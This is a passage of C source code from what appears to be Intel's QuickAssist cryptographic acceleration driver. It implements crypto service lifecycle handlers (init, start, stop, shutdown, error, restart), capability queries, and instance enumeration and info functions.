sal_service_type_t svc_type = service->type;
SAL_SERVICE_GOOD_FOR_INIT(pCryptoService);
pCryptoService->generic_service_info.state = SAL_SERVICE_STATE_INITIALIZING;
/* Set up the instance parameters such as bank number,
* coreAffinity, pkgId and node affinity etc
*/
status = SalCtr_InstInit(device, service);
LAC_CHECK_STATUS(status);
/* Create debug directory for service */
status = SalCtrl_DebugInit(device, service);
LAC_CHECK_STATUS(status);
switch (svc_type)
{
#ifndef ASYM_NOT_SUPPORTED
case SAL_SERVICE_TYPE_CRYPTO_ASYM:
status = SalCtrl_AsymInit(device, service);
if (CPA_STATUS_SUCCESS != status)
{
SalCtrl_DebugShutdown(device, service);
return status;
}
break;
#endif
case SAL_SERVICE_TYPE_CRYPTO_SYM:
status = SalCtrl_SymInit(device, service);
if (CPA_STATUS_SUCCESS != status)
{
SalCtrl_DebugShutdown(device, service);
return status;
}
break;
case SAL_SERVICE_TYPE_CRYPTO:
#ifndef ASYM_NOT_SUPPORTED
status = SalCtrl_AsymInit(device, service);
if (CPA_STATUS_SUCCESS != status)
{
SalCtrl_DebugShutdown(device, service);
return status;
}
#endif
status = SalCtrl_SymInit(device, service);
if (CPA_STATUS_SUCCESS != status)
{
SalCtrl_DebugShutdown(device, service);
#ifndef ASYM_NOT_SUPPORTED
SalCtrl_AsymFreeResources(pCryptoService);
#endif
return status;
}
break;
default:
LAC_LOG_ERROR("Invalid service type\n");
status = CPA_STATUS_FAIL;
break;
}
pCryptoService->generic_service_info.state = SAL_SERVICE_STATE_INITIALIZED;
#ifdef KPT
osalAtomicSet(0, &(pCryptoService->kpt_keyhandle_loaded));
pCryptoService->maxNumKptKeyHandle =
KPTKSP_REGISTER_KEY_HANDLE_MAXIMUM_NUMBER;
#endif
return status;
}
CpaStatus SalCtrl_CryptoStart(icp_accel_dev_t *device, sal_service_t *service)
{
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
CpaStatus status = CPA_STATUS_SUCCESS;
if (pCryptoService->generic_service_info.state !=
SAL_SERVICE_STATE_INITIALIZED)
{
LAC_LOG_ERROR("Not in the correct state to call start\n");
return CPA_STATUS_FAIL;
}
pCryptoService->generic_service_info.state = SAL_SERVICE_STATE_RUNNING;
return status;
}
CpaStatus SalCtrl_CryptoStop(icp_accel_dev_t *device, sal_service_t *service)
{
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
if (SAL_SERVICE_STATE_RUNNING != pCryptoService->generic_service_info.state)
{
LAC_LOG_ERROR("Not in the correct state to call stop");
}
pCryptoService->generic_service_info.state =
SAL_SERVICE_STATE_SHUTTING_DOWN;
return CPA_STATUS_SUCCESS;
}
CpaStatus SalCtrl_CryptoShutdown(icp_accel_dev_t *device,
sal_service_t *service)
{
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
CpaStatus status = CPA_STATUS_SUCCESS;
sal_service_type_t svc_type = service->type;
if ((SAL_SERVICE_STATE_INITIALIZED !=
pCryptoService->generic_service_info.state) &&
(SAL_SERVICE_STATE_SHUTTING_DOWN !=
pCryptoService->generic_service_info.state) &&
(SAL_SERVICE_STATE_RESTARTING !=
pCryptoService->generic_service_info.state))
{
LAC_LOG_ERROR("Not in the correct state to call shutdown \n");
return CPA_STATUS_FAIL;
}
/* Free memory and transhandles */
switch (svc_type)
{
#ifndef ASYM_NOT_SUPPORTED
case SAL_SERVICE_TYPE_CRYPTO_ASYM:
if (SalCtrl_AsymFreeResources(pCryptoService))
{
status = CPA_STATUS_FAIL;
}
break;
#endif
case SAL_SERVICE_TYPE_CRYPTO_SYM:
if (SalCtrl_SymFreeResources(pCryptoService))
{
status = CPA_STATUS_FAIL;
}
break;
case SAL_SERVICE_TYPE_CRYPTO:
#ifndef ASYM_NOT_SUPPORTED
if (SalCtrl_AsymFreeResources(pCryptoService))
{
status = CPA_STATUS_FAIL;
}
#endif
if (SalCtrl_SymFreeResources(pCryptoService))
{
status = CPA_STATUS_FAIL;
}
break;
default:
LAC_LOG_ERROR("Invalid service type\n");
status = CPA_STATUS_FAIL;
break;
}
SalCtrl_DebugShutdown(device, service);
pCryptoService->generic_service_info.state = SAL_SERVICE_STATE_SHUTDOWN;
return status;
}
CpaStatus SalCtrl_CryptoError(icp_accel_dev_t *device, sal_service_t *service)
{
CpaStatus status = CPA_STATUS_SUCCESS;
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
LAC_CHECK_NULL_PARAM(service);
SalCtrl_CyMemPoolDisable(service);
SalCtrl_CyUpdatePoolsBusy(service);
/* Considering the detachment of the VFs, the device is still alive and
* can generate responses normally. After the state of the service is
* set to ERROR, if it goes to the function to check responses in such
* cases, it will indicate there are some responses on the ring. However,
* icp_sal_CyPollInstance() function will only call
* SalCtrl_CyGenResponses() to generate dummy responses not poll the
* instance with icp_adf_pollInstance() as the service has been set to
* ERROR. So adding a judgment condition here to avoid to check the
* response ring again. */
if (SAL_SERVICE_STATE_ERROR != pCryptoService->generic_service_info.state)
{
status = SalCtrl_CyCheckRespInstance(service);
/* The polling functions would be prevented to poll due to
* SAL_RUNNING_CHECK check which may cause missing retrieving in-flight
* responses. Hence the error status is only set after there are no
* remained responses on the response ring. */
if (CPA_STATUS_SUCCESS == status)
{
pCryptoService->generic_service_info.state =
SAL_SERVICE_STATE_ERROR;
}
}
return status;
}
CpaStatus SalCtrl_CryptoRestarting(icp_accel_dev_t *device,
sal_service_t *service)
{
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
CpaStatus status = CPA_STATUS_SUCCESS;
sal_service_type_t svc_type = service->type;
if ((SAL_SERVICE_STATE_RUNNING !=
pCryptoService->generic_service_info.state) &&
(SAL_SERVICE_STATE_ERROR != pCryptoService->generic_service_info.state))
{
LAC_LOG_ERROR("Not in the correct state to call restarting\n");
return CPA_STATUS_FAIL;
}
switch (svc_type)
{
#ifndef ASYM_NOT_SUPPORTED
case SAL_SERVICE_TYPE_CRYPTO_ASYM:
if (SalCtrl_AsymResetResources(pCryptoService))
{
status = CPA_STATUS_FAIL;
}
break;
#endif
case SAL_SERVICE_TYPE_CRYPTO_SYM:
if (SalCtrl_SymResetResources(pCryptoService))
{
status = CPA_STATUS_FAIL;
}
break;
case SAL_SERVICE_TYPE_CRYPTO:
#ifndef ASYM_NOT_SUPPORTED
if (SalCtrl_AsymResetResources(pCryptoService))
{
status = CPA_STATUS_FAIL;
}
#endif
if (SalCtrl_SymResetResources(pCryptoService))
{
status = CPA_STATUS_FAIL;
}
break;
default:
LAC_LOG_ERROR("Invalid service type\n");
status = CPA_STATUS_FAIL;
break;
}
SalCtrl_DebugRestarting(device, service);
pCryptoService->generic_service_info.state = SAL_SERVICE_STATE_RESTARTING;
return status;
}
CpaStatus SalCtrl_CryptoRestarted(icp_accel_dev_t *device,
sal_service_t *service)
{
CpaStatus status = CPA_STATUS_SUCCESS;
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
sal_service_type_t svc_type = service->type;
SAL_SERVICE_GOOD_FOR_RESTARTED(pCryptoService);
pCryptoService->generic_service_info.state = SAL_SERVICE_STATE_INITIALIZING;
/* Set up the instance parameters such as bank number,
* coreAffinity, pkgId and node affinity etc
*/
status = SalCtr_InstInit(device, service);
LAC_CHECK_STATUS(status);
/* Create debug directory for service */
status = SalCtrl_DebugInit(device, service);
LAC_CHECK_STATUS(status);
switch (svc_type)
{
#ifndef ASYM_NOT_SUPPORTED
case SAL_SERVICE_TYPE_CRYPTO_ASYM:
status = SalCtrl_AsymReinit(device, service);
if (CPA_STATUS_SUCCESS != status)
{
SalCtrl_DebugShutdown(device, service);
return status;
}
break;
#endif
case SAL_SERVICE_TYPE_CRYPTO_SYM:
status = SalCtrl_SymReinit(device, service);
if (CPA_STATUS_SUCCESS != status)
{
SalCtrl_DebugShutdown(device, service);
return status;
}
break;
case SAL_SERVICE_TYPE_CRYPTO:
#ifndef ASYM_NOT_SUPPORTED
status = SalCtrl_AsymReinit(device, service);
if (CPA_STATUS_SUCCESS != status)
{
SalCtrl_DebugShutdown(device, service);
return status;
}
#endif
status = SalCtrl_SymReinit(device, service);
if (CPA_STATUS_SUCCESS != status)
{
SalCtrl_DebugShutdown(device, service);
#ifndef ASYM_NOT_SUPPORTED
SalCtrl_AsymFreeResources(pCryptoService);
#endif
return status;
}
break;
default:
SalCtrl_DebugShutdown(device, service);
LAC_LOG_ERROR("Invalid service type\n");
status = CPA_STATUS_FAIL;
break;
}
pCryptoService->generic_service_info.state = SAL_SERVICE_STATE_RUNNING;
#ifdef KPT
osalAtomicSet(0, &(pCryptoService->kpt_keyhandle_loaded));
pCryptoService->maxNumKptKeyHandle =
KPTKSP_REGISTER_KEY_HANDLE_MAXIMUM_NUMBER;
#endif
return status;
}
void SalCtrl_CyQueryCapabilities(sal_service_t *pGenericService,
CpaCyCapabilitiesInfo *pCapInfo)
{
osalMemSet(pCapInfo, 0, sizeof(CpaCyCapabilitiesInfo));
if (SAL_SERVICE_TYPE_CRYPTO == pGenericService->type ||
SAL_SERVICE_TYPE_CRYPTO_SYM == pGenericService->type)
{
pCapInfo->symSupported = CPA_TRUE;
if (pGenericService->capabilitiesMask &
ICP_ACCEL_CAPABILITIES_EXT_ALGCHAIN)
{
pCapInfo->extAlgchainSupported = CPA_TRUE;
}
if (pGenericService->capabilitiesMask & ICP_ACCEL_CAPABILITIES_HKDF)
{
pCapInfo->hkdfSupported = CPA_TRUE;
}
}
if (SAL_SERVICE_TYPE_CRYPTO == pGenericService->type ||
SAL_SERVICE_TYPE_CRYPTO_ASYM == pGenericService->type)
{
#ifdef ASYM_NOT_SUPPORTED
pCapInfo->dhSupported = CPA_FALSE;
pCapInfo->dsaSupported = CPA_FALSE;
pCapInfo->rsaSupported = CPA_FALSE;
pCapInfo->ecSupported = CPA_FALSE;
pCapInfo->ecdhSupported = CPA_FALSE;
pCapInfo->ecdsaSupported = CPA_FALSE;
pCapInfo->keySupported = CPA_FALSE;
pCapInfo->lnSupported = CPA_FALSE;
pCapInfo->primeSupported = CPA_FALSE;
pCapInfo->kptSupported = CPA_FALSE;
pCapInfo->ecEdMontSupported = CPA_FALSE;
#else
pCapInfo->dhSupported = CPA_TRUE;
pCapInfo->dsaSupported = CPA_TRUE;
pCapInfo->rsaSupported = CPA_TRUE;
pCapInfo->ecSupported = CPA_TRUE;
pCapInfo->ecdhSupported = CPA_TRUE;
pCapInfo->ecdsaSupported = CPA_TRUE;
pCapInfo->keySupported = CPA_TRUE;
pCapInfo->lnSupported = CPA_TRUE;
pCapInfo->primeSupported = CPA_TRUE;
if (pGenericService->capabilitiesMask & ICP_ACCEL_CAPABILITIES_KPT)
{
pCapInfo->kptSupported = CPA_TRUE;
}
if (pGenericService->capabilitiesMask & ICP_ACCEL_CAPABILITIES_ECEDMONT)
{
pCapInfo->ecEdMontSupported = CPA_TRUE;
}
#endif
}
pCapInfo->drbgSupported = CPA_FALSE;
pCapInfo->nrbgSupported = CPA_FALSE;
pCapInfo->randSupported = CPA_FALSE;
}
/**
******************************************************************************
* @ingroup cpaCyCommon
*****************************************************************************/
CpaStatus cpaCyGetStatusText(const CpaInstanceHandle instanceHandle,
CpaStatus errStatus,
Cpa8S *pStatusText)
{
CpaStatus status = CPA_STATUS_SUCCESS;
#ifdef ICP_TRACE
LAC_LOG3("Called with params (0x%lx, %d, 0x%lx)\n",
(LAC_ARCH_UINT)instanceHandle,
errStatus,
(LAC_ARCH_UINT)pStatusText);
#endif
LAC_CHECK_NULL_PARAM(pStatusText);
switch (errStatus)
{
case CPA_STATUS_SUCCESS:
LAC_COPY_STRING(pStatusText, CPA_STATUS_STR_SUCCESS);
break;
case CPA_STATUS_FAIL:
LAC_COPY_STRING(pStatusText, CPA_STATUS_STR_FAIL);
break;
case CPA_STATUS_RETRY:
LAC_COPY_STRING(pStatusText, CPA_STATUS_STR_RETRY);
break;
case CPA_STATUS_RESOURCE:
LAC_COPY_STRING(pStatusText, CPA_STATUS_STR_RESOURCE);
break;
case CPA_STATUS_INVALID_PARAM:
LAC_COPY_STRING(pStatusText, CPA_STATUS_STR_INVALID_PARAM);
break;
case CPA_STATUS_FATAL:
LAC_COPY_STRING(pStatusText, CPA_STATUS_STR_FATAL);
break;
case CPA_STATUS_UNSUPPORTED:
LAC_COPY_STRING(pStatusText, CPA_STATUS_STR_UNSUPPORTED);
break;
default:
status = CPA_STATUS_INVALID_PARAM;
break;
}
return status;
}
/**
******************************************************************************
* @ingroup cpaCyCommon
*****************************************************************************/
CpaStatus cpaCyStartInstance(CpaInstanceHandle instanceHandle_in)
{
CpaInstanceHandle instanceHandle = NULL;
/* Structure initializer is supported by C99, but it is
* not supported by some former Intel compilers. */
#if defined(__INTEL_COMPILER) && (__INTEL_COMPILER < 1300)
#pragma warning(disable : 188)
#endif
CpaInstanceInfo2 info = {0};
#if defined(__INTEL_COMPILER) && (__INTEL_COMPILER < 1300)
#pragma warning(enable)
#endif
icp_accel_dev_t *dev = NULL;
CpaStatus status = CPA_STATUS_SUCCESS;
sal_crypto_service_t *pService = NULL;
#ifdef ICP_TRACE
LAC_LOG1("Called with params (0x%lx)\n", (LAC_ARCH_UINT)instanceHandle_in);
#endif
if (CPA_INSTANCE_HANDLE_SINGLE == instanceHandle_in)
{
instanceHandle = Lac_CryptoGetFirstHandle();
}
else
{
instanceHandle = instanceHandle_in;
}
LAC_CHECK_NULL_PARAM(instanceHandle);
pService = (sal_crypto_service_t *)instanceHandle;
status = cpaCyInstanceGetInfo2(instanceHandle, &info);
if (CPA_STATUS_SUCCESS != status)
{
LAC_LOG_ERROR("Can not get instance info\n");
return status;
}
dev = icp_adf_getAccelDevByAccelId(info.physInstId.packageId);
if (NULL == dev)
{
LAC_LOG_ERROR("Can not find device for the instance\n");
return CPA_STATUS_FAIL;
}
pService->generic_service_info.isInstanceStarted = CPA_TRUE;
/* Increment dev ref counter */
icp_adf_qaDevGet(dev);
return CPA_STATUS_SUCCESS;
}
/**
******************************************************************************
* @ingroup cpaCyCommon
*****************************************************************************/
CpaStatus cpaCyStopInstance(CpaInstanceHandle instanceHandle_in)
{
CpaInstanceHandle instanceHandle = NULL;
/* Structure initializer is supported by C99, but it is
* not supported by some former Intel compilers. */
#if defined(__INTEL_COMPILER) && (__INTEL_COMPILER < 1300)
#pragma warning(disable : 188)
#endif
CpaInstanceInfo2 info = {0};
#if defined(__INTEL_COMPILER) && (__INTEL_COMPILER < 1300)
#pragma warning(enable)
#endif
icp_accel_dev_t *dev = NULL;
CpaStatus status = CPA_STATUS_SUCCESS;
sal_crypto_service_t *pService = NULL;
#ifdef ICP_TRACE
LAC_LOG1("Called with params (0x%lx)\n", (LAC_ARCH_UINT)instanceHandle_in);
#endif
if (CPA_INSTANCE_HANDLE_SINGLE == instanceHandle_in)
{
instanceHandle = Lac_CryptoGetFirstHandle();
}
else
{
instanceHandle = instanceHandle_in;
}
LAC_CHECK_NULL_PARAM(instanceHandle);
status = cpaCyInstanceGetInfo2(instanceHandle, &info);
if (CPA_STATUS_SUCCESS != status)
{
LAC_LOG_ERROR("Can not get instance info\n");
return status;
}
dev = icp_adf_getAccelDevByAccelId(info.physInstId.packageId);
if (NULL == dev)
{
LAC_LOG_ERROR("Can not find device for the instance\n");
return CPA_STATUS_FAIL;
}
pService = (sal_crypto_service_t *)instanceHandle;
pService->generic_service_info.isInstanceStarted = CPA_FALSE;
/* Decrement dev ref counter */
icp_adf_qaDevPut(dev);
return CPA_STATUS_SUCCESS;
}
/**
******************************************************************************
* @ingroup cpaCyCommon
*****************************************************************************/
CpaStatus cpaCyInstanceSetNotificationCb(
const CpaInstanceHandle instanceHandle,
const CpaCyInstanceNotificationCbFunc pInstanceNotificationCb,
void *pCallbackTag)
{
CpaStatus status = CPA_STATUS_SUCCESS;
sal_service_t *gen_handle = instanceHandle;
#ifdef ICP_TRACE
LAC_LOG3("Called with params (0x%lx, 0x%lx, 0x%lx)\n",
(LAC_ARCH_UINT)instanceHandle,
(LAC_ARCH_UINT)pInstanceNotificationCb,
(LAC_ARCH_UINT)pCallbackTag);
#endif
LAC_CHECK_NULL_PARAM(gen_handle);
gen_handle->notification_cb = pInstanceNotificationCb;
gen_handle->cb_tag = pCallbackTag;
return status;
}
/**
******************************************************************************
* @ingroup cpaCyCommon
*****************************************************************************/
CpaStatus cpaCyGetNumInstances(Cpa16U *pNumInstances)
{
CpaStatus status = CPA_STATUS_SUCCESS;
icp_accel_dev_t **pAdfInsts = NULL;
icp_accel_dev_t *dev_addr = NULL;
sal_t *base_addr = NULL;
sal_list_t *list_temp = NULL;
Cpa16U num_accel_dev = 0;
Cpa16U num_inst = 0;
Cpa16U i = 0;
LAC_CHECK_NULL_PARAM(pNumInstances);
/* Get the number of accel_dev in the system */
status = icp_adf_getNumInstances(&num_accel_dev);
LAC_CHECK_STATUS(status);
/* Allocate memory to store addr of accel_devs */
pAdfInsts = osalMemAlloc(num_accel_dev * sizeof(icp_accel_dev_t *));
if (NULL == pAdfInsts)
{
LAC_LOG_ERROR("Failed to allocate dev instance memory");
return CPA_STATUS_RESOURCE;
}
num_accel_dev = 0;
/* Get ADF to return all accel_devs that support either
* symmetric or asymmetric crypto */
status = icp_adf_getAllAccelDevByCapabilities(
(ICP_ACCEL_CAPABILITIES_CRYPTO_ASYMMETRIC |
ICP_ACCEL_CAPABILITIES_CRYPTO_SYMMETRIC),
pAdfInsts,
&num_accel_dev);
if (CPA_STATUS_SUCCESS != status)
{
LAC_LOG_ERROR("No support for crypto\n");
*pNumInstances = 0;
osalMemFree(pAdfInsts);
return status;
}
for (i = 0; i < num_accel_dev; i++)
{
dev_addr = (icp_accel_dev_t *)pAdfInsts[i];
if (NULL == dev_addr || NULL == dev_addr->pSalHandle)
{
continue;
}
base_addr = dev_addr->pSalHandle;
list_temp = base_addr->crypto_services;
while (NULL != list_temp)
{
num_inst++;
list_temp = SalList_next(list_temp);
}
list_temp = base_addr->asym_services;
while (NULL != list_temp)
{
num_inst++;
list_temp = SalList_next(list_temp);
}
list_temp = base_addr->sym_services;
while (NULL != list_temp)
{
num_inst++;
list_temp = SalList_next(list_temp);
}
}
*pNumInstances = num_inst;
osalMemFree(pAdfInsts);
#ifdef ICP_TRACE
if (NULL != pNumInstances)
{
LAC_LOG2("Called with params (0x%lx[%d])\n",
(LAC_ARCH_UINT)pNumInstances,
*pNumInstances);
}
else
{
LAC_LOG1("Called with params (0x%lx)\n", (LAC_ARCH_UINT)pNumInstances);
}
#endif
return status;
}
/**
******************************************************************************
* @ingroup cpaCyCommon
*****************************************************************************/
CpaStatus cpaCyGetInstances(Cpa16U numInstances,
CpaInstanceHandle *pCyInstances)
{
CpaStatus status = CPA_STATUS_SUCCESS;
icp_accel_dev_t **pAdfInsts = NULL;
icp_accel_dev_t *dev_addr = NULL;
sal_t *base_addr = NULL;
sal_list_t *list_temp = NULL;
Cpa16U num_accel_dev = 0;
Cpa16U num_allocated_instances = 0;
Cpa16U index = 0;
Cpa16U i = 0;
#ifdef ICP_TRACE
LAC_LOG2("Called with params (%d, 0x%lx)\n",
numInstances,
(LAC_ARCH_UINT)pCyInstances);
#endif
LAC_CHECK_NULL_PARAM(pCyInstances);
if (0 == numInstances)
{
LAC_INVALID_PARAM_LOG("NumInstances is 0");
return CPA_STATUS_INVALID_PARAM;
}
/* Get the number of crypto instances */
status = cpaCyGetNumInstances(&num_allocated_instances);
if (CPA_STATUS_SUCCESS != status)
{
return status;
}
if (numInstances > num_allocated_instances)
{
LAC_LOG_ERROR1("Only %d crypto instances available",
num_allocated_instances);
return CPA_STATUS_RESOURCE;
}
/* Get the number of accel devices in the system */
status = icp_adf_getNumInstances(&num_accel_dev);
LAC_CHECK_STATUS(status);
/* Allocate memory to store addr of accel_devs */
pAdfInsts = osalMemAlloc(num_accel_dev * sizeof(icp_accel_dev_t *));
if (NULL == pAdfInsts)
{
LAC_LOG_ERROR("Failed to allocate dev instance memory");
return CPA_STATUS_RESOURCE;
}
num_accel_dev = 0;
/* Get ADF to return all accel_devs that support either
* symmetric or asymmetric crypto */
status = icp_adf_getAllAccelDevByCapabilities(
(ICP_ACCEL_CAPABILITIES_CRYPTO_ASYMMETRIC |
ICP_ACCEL_CAPABILITIES_CRYPTO_SYMMETRIC),
pAdfInsts,
&num_accel_dev);
if (CPA_STATUS_SUCCESS != status)
{
LAC_LOG_ERROR("No support for crypto\n");
osalMemFree(pAdfInsts);
return status;
}
for (i = 0; i < num_accel_dev; i++)
{
dev_addr = (icp_accel_dev_t *)pAdfInsts[i];
/* Note dev_addr cannot be NULL here as numInstances = 0
* is not valid and if dev_addr = NULL then index = 0 (which
* is less than numInstances and status is set to _RESOURCE
* above
*/
base_addr = dev_addr->pSalHandle;
if (NULL == base_addr)
{
continue;
}
list_temp = base_addr->crypto_services;
while (NULL != list_temp)
{
if (index > (numInstances - 1))
{
break;
}
pCyInstances[index] = SalList_getObject(list_temp);
list_temp = SalList_next(list_temp);
index++;
}
list_temp = base_addr->asym_services;
while (NULL != list_temp)
{
if (index > (numInstances - 1))
{
break;
}
pCyInstances[index] = SalList_getObject(list_temp);
list_temp = SalList_next(list_temp);
index++;
}
list_temp = base_addr->sym_services;
while (NULL != list_temp)
{
if (index > (numInstances - 1))
{
break;
}
pCyInstances[index] = SalList_getObject(list_temp);
list_temp = SalList_next(list_temp);
index++;
}
}
osalMemFree(pAdfInsts);
return status;
}
/**
******************************************************************************
* @ingroup cpaCyCommon
*****************************************************************************/
CpaStatus cpaCyInstanceGetInfo(const CpaInstanceHandle instanceHandle_in,
struct _CpaInstanceInfo *pInstanceInfo)
{
CpaInstanceHandle instanceHandle = NULL;
sal_crypto_service_t *pCryptoService = NULL;
sal_service_t *pGenericService = NULL;
Cpa8U name[CPA_INST_NAME_SIZE] =
"Intel(R) DH89XXCC instance number: %02x, type: Crypto";
#ifdef ICP_TRACE
LAC_LOG2("Called with params (0x%lx, 0x%lx)\n",
(LAC_ARCH_UINT)instanceHandle_in,
(LAC_ARCH_UINT)pInstanceInfo);
#endif
if (CPA_INSTANCE_HANDLE_SINGLE == instanceHandle_in)
{
instanceHandle = Lac_CryptoGetFirstHandle();
}
else
{
instanceHandle = instanceHandle_in;
}
LAC_CHECK_NULL_PARAM(instanceHandle);
LAC_CHECK_NULL_PARAM(pInstanceInfo);
SAL_CHECK_INSTANCE_TYPE(instanceHandle,
(SAL_SERVICE_TYPE_CRYPTO |
SAL_SERVICE_TYPE_CRYPTO_ASYM |
SAL_SERVICE_TYPE_CRYPTO_SYM));
pCryptoService = (sal_crypto_service_t *)instanceHandle;
pInstanceInfo->type = CPA_INSTANCE_TYPE_CRYPTO;
/* According to cpa.h instance state is initialized and ready for use
* or shutdown. Therefore need to map our running state to initialised
* or shutdown */
if (SAL_SERVICE_STATE_RUNNING == pCryptoService->generic_service_info.state)
{
pInstanceInfo->state = CPA_INSTANCE_STATE_INITIALISED;
}
else
{
pInstanceInfo->state = CPA_INSTANCE_STATE_SHUTDOWN;
}
pGenericService = (sal_service_t *)instanceHandle;
snprintf((char *)pInstanceInfo->name,
CPA_INST_NAME_SIZE,
(char *)name,
pGenericService->instance);
pInstanceInfo->name[CPA_INST_NAME_SIZE - 1] = '\0';
snprintf((char *)pInstanceInfo->version,
CPA_INSTANCE_MAX_NAME_SIZE_IN_BYTES,
"%d.%d",
CPA_CY_API_VERSION_NUM_MAJOR,
CPA_CY_API_VERSION_NUM_MINOR);
pInstanceInfo->version[CPA_INSTANCE_MAX_VERSION_SIZE_IN_BYTES - 1] = '\0';
return CPA_STATUS_SUCCESS;
}
/**
******************************************************************************
* @ingroup cpaCyCommon
*****************************************************************************/
CpaStatus cpaCyInstanceGetInfo2(const CpaInstanceHandle instanceHandle_in,
CpaInstanceInfo2 *pInstanceInfo2)
{
CpaInstanceHandle instanceHandle = NULL;
sal_crypto_service_t *pCryptoService = NULL;
icp_accel_dev_t *dev = NULL;
CpaStatus status = CPA_STATUS_SUCCESS;
char keyStr[ADF_CFG_MAX_KEY_LEN_IN_BYTES] = {0};
char valStr[ADF_CFG_MAX_VAL_LEN_IN_BYTES] = {0};
char *section = DYN_SEC;
Cpa32S strSize = 0;
#ifdef ICP_TRACE
LAC_LOG2("Called with params (0x%lx, 0x%lx)\n",
(LAC_ARCH_UINT)instanceHandle_in,
(LAC_ARCH_UINT)pInstanceInfo2);
#endif
if (CPA_INSTANCE_HANDLE_SINGLE == instanceHandle_in)
{
instanceHandle = Lac_CryptoGetFirstHandle();
}
else
{
instanceHandle = instanceHandle_in;
}
LAC_CHECK_NULL_PARAM(instanceHandle);
LAC_CHECK_NULL_PARAM(pInstanceInfo2);
SAL_CHECK_INSTANCE_TYPE(instanceHandle,
(SAL_SERVICE_TYPE_CRYPTO |
SAL_SERVICE_TYPE_CRYPTO_ASYM |
SAL_SERVICE_TYPE_CRYPTO_SYM));
LAC_OS_BZERO(pInstanceInfo2, sizeof(CpaInstanceInfo2));
pInstanceInfo2->accelerationServiceType = CPA_ACC_SVC_TYPE_CRYPTO;
snprintf((char *)pInstanceInfo2->vendorName,
CPA_INST_VENDOR_NAME_SIZE,
"%s",
SAL_INFO2_VENDOR_NAME);
pInstanceInfo2->vendorName[CPA_INST_VENDOR_NAME_SIZE - 1] = '\0';
snprintf((char *)pInstanceInfo2->swVersion,
CPA_INST_SW_VERSION_SIZE,
"Version %d.%d",
SAL_INFO2_DRIVER_SW_VERSION_MAJ_NUMBER,
SAL_INFO2_DRIVER_SW_VERSION_MIN_NUMBER);
pInstanceInfo2->swVersion[CPA_INST_SW_VERSION_SIZE - 1] = '\0';
/* Note we can safely read the contents of the crypto service instance
here because icp_adf_getAllAccelDevByCapabilities() only returns devs
that have started */
pCryptoService = (sal_crypto_service_t *)instanceHandle;
pInstanceInfo2->physInstId.packageId = pCryptoService->pkgID;
pInstanceInfo2->physInstId.acceleratorId = pCryptoService->acceleratorNum;
pInstanceInfo2->physInstId.executionEngineId =
pCryptoService->executionEngine;
pInstanceInfo2->physInstId.busAddress =
icp_adf_getBusAddress(pInstanceInfo2->physInstId.packageId);
#ifdef KPT
pInstanceInfo2->physInstId.kptAcHandle =
icp_adf_getKptAcHandle(pInstanceInfo2->physInstId.packageId);
#endif
/* set coreAffinity to zero before use */
LAC_OS_BZERO(pInstanceInfo2->coreAffinity,
sizeof(pInstanceInfo2->coreAffinity));
CPA_BITMAP_BIT_SET(pInstanceInfo2->coreAffinity,
pCryptoService->coreAffinity);
pInstanceInfo2->nodeAffinity = pCryptoService->nodeAffinity;
if (CPA_TRUE == pCryptoService->generic_service_info.isInstanceStarted)
{
pInstanceInfo2->operState = CPA_OPER_STATE_UP;
}
else
{
pInstanceInfo2->operState = CPA_OPER_STATE_DOWN;
}
pInstanceInfo2->requiresPhysicallyContiguousMemory = CPA_TRUE;
if (SAL_RESP_POLL_CFG_FILE == pCryptoService->isPolled ||
SAL_RESP_EPOLL_CFG_FILE == pCryptoService->isPolled)
{
pInstanceInfo2->isPolled = CPA_TRUE;
}
else
{
pInstanceInfo2->isPolled = CPA_FALSE;
}
pInstanceInfo2->isOffloaded = CPA_TRUE;
/* Get the instance name and part name*/
dev = icp_adf_getAccelDevByAccelId(pCryptoService->pkgID);
if (NULL == dev)
{
LAC_LOG_ERROR("Can not find device for the instance\n");
LAC_OS_BZERO(pInstanceInfo2, sizeof(CpaInstanceInfo2));
return CPA_STATUS_FAIL;
}
snprintf((char *)pInstanceInfo2->partName,
CPA_INST_PART_NAME_SIZE,
SAL_INFO2_PART_NAME,
dev->deviceName);
pInstanceInfo2->partName[CPA_INST_PART_NAME_SIZE - 1] = '\0';
status = Sal_StringParsing(
"Cy", pCryptoService->generic_service_info.instance, "Name", keyStr);
LAC_CHECK_STATUS(status);
if (CPA_FALSE == pCryptoService->generic_service_info.is_dyn)
{
section = icpGetProcessName();
}
status = icp_adf_cfgGetParamValue(dev, section, keyStr, valStr);
LAC_CHECK_STATUS(status);
strSize = snprintf(
(char *)pInstanceInfo2->instName, CPA_INST_NAME_SIZE, "%s", valStr);
LAC_CHECK_PARAM_RANGE(strSize, 1, CPA_INST_NAME_SIZE);
strSize = snprintf((char *)pInstanceInfo2->instID,
CPA_INST_ID_SIZE,
"%s_%s",
section,
valStr);
LAC_CHECK_PARAM_RANGE(strSize, 1, CPA_INST_ID_SIZE);
return CPA_STATUS_SUCCESS;
}
/**
******************************************************************************
* @ingroup cpaCyCommon
*****************************************************************************/
CpaStatus cpaCyQueryCapabilities(const CpaInstanceHandle instanceHandle_in,
CpaCyCapabilitiesInfo *pCapInfo)
{
/* Verify Instance exists */
CpaInstanceHandle instanceHandle = NULL;
#ifdef ICP_TRACE
LAC_LOG2("Called with params (0x%lx, 0x%lx)\n",
(LAC_ARCH_UINT)instanceHandle_in,
(LAC_ARCH_UINT)pCapInfo);
#endif
if (CPA_INSTANCE_HANDLE_SINGLE == instanceHandle_in)
{
instanceHandle = Lac_CryptoGetFirstHandle();
}
else
{
instanceHandle = instanceHandle_in;
}
LAC_CHECK_NULL_PARAM(instanceHandle);
SAL_CHECK_INSTANCE_TYPE(instanceHandle,
(SAL_SERVICE_TYPE_CRYPTO |
SAL_SERVICE_TYPE_CRYPTO_ASYM |
SAL_SERVICE_TYPE_CRYPTO_SYM));
LAC_CHECK_NULL_PARAM(pCapInfo);
SalCtrl_CyQueryCapabilities((sal_service_t *)instanceHandle, pCapInfo);
return CPA_STATUS_SUCCESS;
}
CpaStatus cpaCySymQueryCapabilities(const CpaInstanceHandle instanceHandle_in,
CpaCySymCapabilitiesInfo *pCapInfo)
{
sal_crypto_service_t *pCryptoService = NULL;
sal_service_t *pGenericService = NULL;
CpaInstanceHandle instanceHandle = NULL;
#ifdef ICP_TRACE
